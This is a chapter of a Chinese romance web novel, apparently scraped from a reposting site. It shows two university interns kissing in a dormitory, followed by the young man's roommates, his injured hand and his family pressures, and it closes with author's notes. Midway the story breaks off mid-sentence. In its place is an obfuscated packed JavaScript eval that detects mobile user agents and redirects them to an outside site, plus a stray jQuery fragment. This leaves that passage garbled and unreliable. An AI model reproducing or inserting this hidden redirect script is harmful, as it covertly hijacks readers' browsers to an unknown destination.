第 16 章 坏春天

作品:《坏春天

    (本章含回忆线)


    16/坏春天


    想不想?


    想不想?


    想不想。


    短短几秒钟,这三个字无数次擂在黎雾心口。


    窗户开着不知是一阵儿细雨与凉风还是如何她无意识翕动纤长的睫,接着,听到他似乎很轻地笑了声。


    ……是风吧。


    为什么是柔软的。


    匆匆抓紧了什么,反应过来是他的手腕,那皮肤、骨骼、甚至血管律动的触感让她新奇可是来不及了。


    他的唇很柔软带着微微的凉意。


    她的呼吸紧了一紧,手心覆在了他胸口


    “张嘴。”


    又听到他说。


    “……”黎雾颤抖着睫,彻底无法思考了只得照做。


    他的气息带着独属于异性,陌生又浓烈的侵略感,轻而易举地撬开了她的唇齿。


    她满脑子的空白。


    黎雾勾住了他的肩,一节一节败退,被吻得向后仰。薄屿伸手托住了她的腰她禁不住瑟缩,抱他更紧。


    也在看一些电视剧、爱情电影,言情小说的时候会把主角接吻的画面反复拉回来欣赏。


    真正发生在了她的身上,居然都有了一些独属于自己的笨拙章法。


    蜷缩在他的身下他越发深入略带玩味儿亲吻她,她也尝试去追逐他的节奏,追不上了就喘息连连,追上来不留神还好像咬了他一口。他的呼吸落在她唇边喉间好似溢出了低沉、迷人的笑。


    “偷偷想这样多久了。”薄屿低声笑。


    “……嗯?”黎雾完全想象得到自己有多慌张半点儿都不敢睁眼睛。


    “亲我?”


    其实只是阐述了这个问题的答案。


    却像是那句“张嘴”一样成了命令黎雾小心檀口张开舔了舔他的唇。再无法辩驳任何也给不了他回答。


    她确实偷偷想过很多次尤其那晚之后。


    不敢看他表情不知道他是否像是那个夜晚向楼上的她望过来时那样的倦淡与无所谓或只是在享受捉弄她的快.感。


    手机狼狈扔在一旁游戏里的音效还噼里啪啦。


    最终输还是赢彻底无关紧要。


    或许真是太紧张薄屿都发现她的两条腿硬生生蜷在他的怀里稍放开了她唇她小心翼翼睁开了眼眸底泛起了片氤氲的潋滟。


    黎雾膝盖抵着他腹部那一块儿有着肌肉坚硬的纹理——她意识到是


    不是因为这样才让他无法继续,她尝试分开一下。


    可是她穿着裙子……来不及了。


    “……我来月经了。”


    她没头没脑就冒出一句。


    等等。


    为什么要说这个??


    薄屿愣了一愣,唇边缓缓漾开个好看的弧度,笑了:“怪不得你这么过分。”


    “……啊?”黎雾发现,她的腿就像是勾住了他的腰。他又这么在上方压着她。


    她的裙摆都跟着飘了上去。


    她的两颊飞红。


    又不是故意暗示他什么能做什么不能……


    薄屿从她身上起来。


    黎雾以为可能到此为止,心底的那一丝丝浅浅的失望,还没滑到喉咙,她的腰忽然被他的臂弯同时带到了怀中。


    他不是那种单薄的体格,很有力量。


    于是,她整个人跪坐进了他的腰间。


    实习宿舍的这破床她知道,“吱呀吱呀——”地直叫,她都不大敢呼吸了。


    “……”


    薄屿依然半睬眸子,明明这阴天里没有太阳,他的眼底,却好似泛起了层绒绒暖光。


    慵倦又迷人。让她完全挪不开眼。


    “……”黎雾坐在他身上,因为过于紧张,腰背直挺挺的,视线还要高出他一些。


    她调整一下裙子的肩带——真烦人,又穿了这裙子。


    吊带都开了。


    脚背覆过来一处温热,有他手上药贴的纤维触感。


    “疼吗?”薄屿摸了摸她白皙的脚背,问。


    黎雾眨眼:“……疼什么。”


    “你们女生来了月经,不是经常会疼吗,你现在怎么样。”


    关心她吗?


    黎雾知道,自己不是在撒娇,她从小和父母撒娇都几乎不会。


    只隐隐有一些无足轻重的感觉,她还是点点头:“嗯……”


    “‘嗯’是什么意思。”


    薄屿问。


    “就是……有点儿疼。”


    “有点儿,是多少?”


    问这么细致干什么。


    黎雾乖乖答:“一点点?”她也不会和男生形容这感觉。


    薄屿“哦”了声:“那就是还能继续。”


    “?”


    所以你问我是这个意思?


    “不行吗?”他挑眉,真的很关切她似的。


    她不看他,“……我没说。”


    的确没到那种无法继续的程度……


    黎雾是想和他接吻


    的,接着想到了那天晚上,鼓足勇气,倾尽所有力气,大胆叫喊着要跟他接吻的女孩儿。


    她突然觉得此时此刻的自己,实在有那么一些可恶与幸运。


    唉。


    黎雾盈盈看他一眼,抿起唇:“来月经……又不影响。


    “是吗,那什么会被影响,薄屿亲了会儿她的嘴角,“你还偷偷想过我对你干什么?


    没等他一句话说完。


    黎雾到底大胆,凑近了他的唇,强压下心口的兵荒马乱,主动去寻他柔软的唇:“你不许说了……


    下巴被他箍住,他手指的凉意,好似沿着她的裙摆开始向上,后腰都能感受到风的徐徐流动。


    紧张真的是紧张,都没人碰过她这里。


    一不留神,牙齿重重磨上去。


    咬了他一口。


    “……


    这时,楼道有喧哗与脚步声,陆续飘了上来,嘻嘻哈哈的。


    有人回来了。


    黎雾推了推他的肩,唇还与他胶着,“薄屿,有人来了……


    “哪里。


    “楼道啊,你没听见?你你你……是不是你室友要回来了。说不完一句,话就被他气势汹汹吞掉了。


    后腰的力道却是越收越紧。


    薄屿恶作剧似地,没一点儿放开她的打算,恶狠狠的,“回来又怎么样,你是他们谁的女朋友?


    像是在报复她咬他的那一口。


    “不行,不行,黎雾浑身软得也很不行,理智到底还是占了上风,“我得走了……


    赶紧推开他,跳下了他的床。


    她没管站不站的稳,趿上鞋子,匆匆往外跑。


    都关门出去了,却是又听他在她的身后懒声提醒。


    “手机不拿送我了?


    似是有慢条斯理的笑意。


    甚至传来了“咔哒——一声,打火机点烟的闲适动静。


    熙熙攘攘的嬉笑声从楼上楼下涌了出来。


    黎雾不得已,又回去。


    “……今天的事你不许说出去。


    她异常冷静地说完了这句,气都没喘。多少有点无措,为了对他表示警告,还把他才点起的烟给掐了。


    薄屿斜斜靠在床上,抬眸看着她,也不恼,只是笑:“说出去又怎么样。


    黎雾不等他回答,出去了。


    回到四楼,一进宿舍,就是面穿衣镜。黎雾明晃晃地瞧见了自己的头发披散,裙子凌乱。


    头顶突然飘下一声:


    “……你干嘛去了?脸这么红?”


    她这才被一股后知后觉的温热湿意,紧密裹挟。


    如梦初醒。


    ……完蛋了。


    她真的。


    和薄屿接吻了。


    李多晴见过她早上痛得有多死去活来,赶紧从上铺爬下来:“你怎么了?脸色这么不好……还疼吗?”


    “……”黎雾说不出话,抱紧肚子,艰难点头。


    “快坐会儿,坐会儿啊,妈呀当个女人怎么这么痛苦!”


    室友们回来们,纷纷关心起了她。


    她们似乎刚在聊什么有趣的话题。


    “薄屿之前好了几个女孩儿都给甩了,你们听说过这事儿没?”


    “——去敲他门问问啊,他不是住楼下吗?”


    痛经是实打实的。


    但也只有黎雾知道,她是真的在撒谎。


    不过。


    那时的黎雾不知道的是——


    另一边。


    夹着一阵笑闹,宿舍门被推开了。


    曾杰一见薄屿在,惊奇他怎么真老老实实住这儿了都顾不上,张扬笑着:“薄屿!!你猜我刚刚从张一喆嘴里敲出什么小秘密来了——”


    春日一场小雨如酥,飘飘摇摇,空空落落,看不到尽头。


    薄屿咬着烟,站在窗边,安静地垂下眼,把右手的热敷贴给撕了下来,又贴上了新的。


    他高挑的身影逆着光,稍显孑然。


    十八岁那年,他在柏林经历过一场非常严重的车祸,右手第五掌骨、连着小指的那一截粉碎性骨折。这只手没彻底废掉都算是个奇迹。


    医生当时说得很含蓄,只叮咛他到了雨天或是气温骤冷,一定要注意保暖,运气好的话,说不定有个两三年就能恢复了。肯定不影响日常生活。


    然而现在过了第四个年头,不仅平时经常隐痛,常常握力都会受到影响,偶尔一瞬间没了知觉,连个牙刷都拿不住。


    的确像是个残废——


    今天打个游戏,连着好几枪都放不出去。


    曾杰注意到了,问:“……你这手怎么了?贴的什么玩意儿啊,膏药?”


    知道他这几天常用张一喆那个游戏账号打游戏,一打就是好长时间,怪颓废的。


    曾杰又笑哈哈开玩笑:“是打游戏打出腱鞘炎了啊。”


    张一喆气冲冲从外头追进来:“曾杰!你是不是已经告诉薄屿了,快闭嘴!你不许说,不许说了,我就告诉你了……”


    “你猜


    我说没说啊,说了又怎么样!


    “……不许说!


    薄屿眉目舒展开了,淡淡看一眼闹哄哄的他们:“聊什么不能让我知道?


    “哎呀,曾杰不满,“张一喆,咱们愿赌服输好吧,真心话大冒险,你非要选真心话我有什么办法?都快毕业了,暗恋人家也不说,你等她被别人抢走啊……


    张一喆涨红着脸:“不行,你答应我不告诉别人的……


    “——薄屿是别人吗?而且,你藏着掖着这么久,你那个高中同学,哦,叫什么李多晴的,都比我知道的早!你把我当兄弟没?


    一屋子吵吵嚷嚷。


    薄屿说到底没什么兴趣,只觉得烦躁。


    老头子明里暗里查他的岗,想尽了办法查到他这阵子都在住酒店,没来这破地方。虽


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15090949|128251||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    没发脾气,他还是怕老头儿动暗火,身体撑不住,勉强呆这儿了。


    这种烦躁绵延了好几天,打游戏这种他原来看不上的事,现在都成了沉迷的良药。


    拾起了他们谁丢满了椅子的衣服。


    薄屿扬手丢开,坐下,手臂搭在椅背,慢条斯理抽烟。


    还有。


    女孩儿发梢上残留的洗发水香气。


    现在都好似还在他周围飘荡,她的皮肤又凉润又白,脚踝的那一截也是。涂着红指甲,很漂亮。


    烟蒂潮湿、又柔软,贴在他的唇。


    这么缓慢想着,不知不觉,他发觉一整支烟下去了。


    哦。


    他又想起。


    她摘他烟的样子也又怂又凶的。


    张一喆看薄屿的脸色似乎好转不少,小心翼翼关切了句:“……薄屿,你还好吗?


    曾杰说他打游戏腱鞘炎了。


    他这少爷当的,说起来实在有点儿颓废,学校上课吊儿郎当,每次考试成绩还能名列前茅,天生一副好脑子,真能气死人。


    本来今天全体实习生一起去实践,他窝在宿舍打了整天的游戏。他家里勒令他必须呆在这儿。


    跟那军训似的。


    薄屿微微回神,“没怎么。


    “晚上咱们一起玩啊!你好猛的!张一喆笑嘻嘻,“不过Shooter那个号,今晚你能不还给我?我玩那个号手感比较好,有皮肤的……


    曾杰唏嘘:“唷,和谁玩啊!


    “你快闭嘴……和我高中同学怎么了!还有你,还有薄屿啊!


    “行,薄屿笑着,“不过我今晚不玩。


    “你要走?


    “嗯。”


    “又回市里啊……”真是半点受不了这环境。


    “你们和我走么?去就一起,”薄屿起身拿外套穿好,“我们可以换个地方玩儿。”


    曾杰:“啊行!找点别的乐子呗,待在这破地方我都无聊死了……哎,还有一个多月才完事儿呢,我好想回家。”


    “你是想陈露了吧。”


    “张一喆,你别逼我把你这个那个的事昭告给天下!”


    “……好,好。”


    还有几个外校的室友。


    薄屿住进来这两天,过夜是不可能过夜的,一到晚上就不见了人,惹人遐想非非。


    其他室友和曾杰、张一喆更熟悉点,多少忌惮别人老调侃的“地产少爷”名头,这下都悄不吭气的。


    “走吗?”


    薄屿笑着问他们。


    “……啊?可以吗?”


    “怎么不行。”


    曾杰拍他们:“走哇,薄屿可大方了!大学四年没少给我们放血——”


    大伙儿跃跃欲试,“但是,六个人,车能坐下?”


    这事儿立即难倒了曾杰和张一喆:“对哦,薄屿的那辆布加迪跑车……也就两个座位吧。”


    “人家开跑车专带女孩子的!要那么多座位干什么!”


    薄屿想到了这点,于是就笑:“看来下次我得开个面包车来了,”他作了打算,拿出手机打电话,“我叫人来接,应该一会儿就到。”


    张一喆:“但你这明目张胆跑了……你家里那边不会不高兴?你打个电话,那边肯定知道了。”


    “无所谓,我又不要那破家产。”


    薄屿嗤之以鼻。


    思绪又盘旋,他换了个手机号拨过去,淡淡笑,“——算了,还是别让老头知道了,我想个别的办法。”


    那。


    破。


    家。


    产。


    众人正倒吸凉气,周思雨的电话就给曾杰敲过来了,近乎尖叫——


    “薄屿真让我给你们当司机?!”


    等了一个多小时,一行人往楼下去。


    有人不忘开着玩笑,薄屿这人真是可恶,南城大学谁不知道周思雨喜欢他,他俩以后八成是要青梅竹马联姻的关系。他找了这么个由头,要人冒雨从几十公里外赶过来。


    关键是,周思雨还真来了。


    这会儿就等在楼下,那一双美目流火,别提多有脾气。


    “黎雾,黎雾。”


    李多晴在窗口和男朋友打电话,也注意了,对裹着被子在床上的黎雾说:“你看窗外,你看你啊!走在薄屿旁边的那个就是张一喆!带咱们玩游戏可厉害的那个——”


    “唉?那是周思雨吗?”


    黎雾抱着隐隐疼痛的肚子,双手贴了贴面颊,退热了。


    说后悔的确后悔,肠子都要青了,怪她受不住诱惑……


    拿出手机,她决心要卸载游戏。


    突然。


    一条微信好友请求弹出。


    BOYU。


    他大方落了自己的名字。


    薄屿。


    “……”


    作者有话要说


    这真的。。是个小甜文。。朋友们。。。相信我。。。


    晚上还有2更!


    【感谢大家订阅,本章所有评论发红包!】——


    感谢在2024-06-1203:46:32~2024-06-1318:39:35期间为我投出霸王票或灌溉营养液的小天使哦~


    感谢灌溉营养液的小天使:芋泥波波、寄沐5瓶;ziss1309063瓶;llkk、大米爆1123、兔子被吃掉惹、周书奕1瓶;


    非常感谢大家对我的支持,我会继续努力的!